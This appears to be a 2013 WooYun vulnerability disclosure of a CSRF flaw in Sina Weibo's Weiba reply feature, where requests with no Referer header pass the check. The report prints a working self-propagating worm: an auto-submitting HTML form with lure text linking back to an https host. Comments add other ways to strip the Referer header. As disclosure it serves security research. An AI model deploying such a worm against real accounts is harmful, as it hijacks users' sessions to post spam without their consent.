当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-019597

漏洞标题:新浪微吧首页蠕虫漏洞,绕过新浪referer限制的小技巧

相关厂商:新浪微博

漏洞作者: fox

提交时间:2013-03-06 10:34

修复时间:2013-03-06 10:57

公开时间:2013-03-06 10:57

漏洞类型:CSRF

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-06: 细节已通知厂商并且等待厂商处理中
2013-03-06: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

新浪微博首页蠕虫

详细说明:

1、出问题的地方

http://weiba.weibo.com


2、微吧回复主题的时候, 进行了CSRF校验, 但是,其逻辑是如果header里没有referer,也算校验通过,估计是为了兼容关闭了referer的浏览器而这样
3、但是,只要构造出不带referer的post页面,马上变成黑客手中的漏洞了
4、比如在https跳转到http时就不会带referer,把攻击的蠕虫放在https的服务器上即可
借用@风萧萧的代码,附一个简单的蠕虫

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<form id="fxx" name="fxx" action="http://weiba.weibo.com/aj_re/add?__rnd=1362498869847" method="POST">
<input type="text" name="text" id="content" value="test" />
<input type="text" name="tid" value="3552602802252056" />
<input type="text" name="pid" value="" />
<input type="text" name="forward" value="1" />
<input type="text" name="_t" value="0" />
<input type="submit" value="submit" />
</form>
<script>
var random=new Array();
random[0]="";
random[1]="有帅哥哦";
random[2]="有萝莉哦";
random[3]="有小清新哦";
random[4]="有女王哦";
random[5]="有御姐哦";
random[6]="有高帅富哦";
random[7]="有女屌丝哦";
random[8]="有美女哦";
random[9]="有苍老师哦";
var num =parseInt(Math.random()*10);
var constr=" follow me! https://xssed.me/csrf/weibo.html";
var sendstr=random[num]+constr;
alert(sendstr);
document.getElementById("content").setAttribute("value",sendstr);
document.fxx.submit();
</script>
</body>
</html>

漏洞证明:

1、微吧回帖地址

1.jpg


2、去掉referer的post成功突破

2.jpg


3、蠕虫发布到首页

3.jpg

修复方案:

来个礼物吧~

版权声明:转载请注明来源 fox@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-03-06 10:57

厂商回复:

哥 ,你的代码发不成功微博啊

最新状态:

暂无


漏洞评价:

评论

  1. 2013-03-06 10:51 | fox ( 普通白帽子 | Rank:159 漏洞数:16 | fox)

    谢谢 @xsser 帮忙改标题

  2. 2013-03-06 11:00 | fox ( 普通白帽子 | Rank:159 漏洞数:16 | fox)

    @新浪微博 代码是一个示例, 需要放在https服务器即可生效。不过我没有申请https证书, 所以是一个示例, 里面的路径只是虚构的,厂商可以把他放到https服务器上测试

  3. 2013-03-06 11:06 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    @fox 你碉堡了

  4. 2013-03-06 11:12 | fox ( 普通白帽子 | Rank:159 漏洞数:16 | fox)

    https的目的只是为了不带referer, 根据RFC-2616,https到http跳转可以不带referer。新浪微博攻城狮们测试的时候, 可以把浏览器配置成不发送referer的形式来模拟, 不过记得改一下那份代码啊, 我是借用@风萧萧 的,url都没改呢, 直接跑自然不成功了

  5. 2013-03-06 14:45 | /fd ( 路人 | Rank:8 漏洞数:1 )

    用iframe亦可绕过referer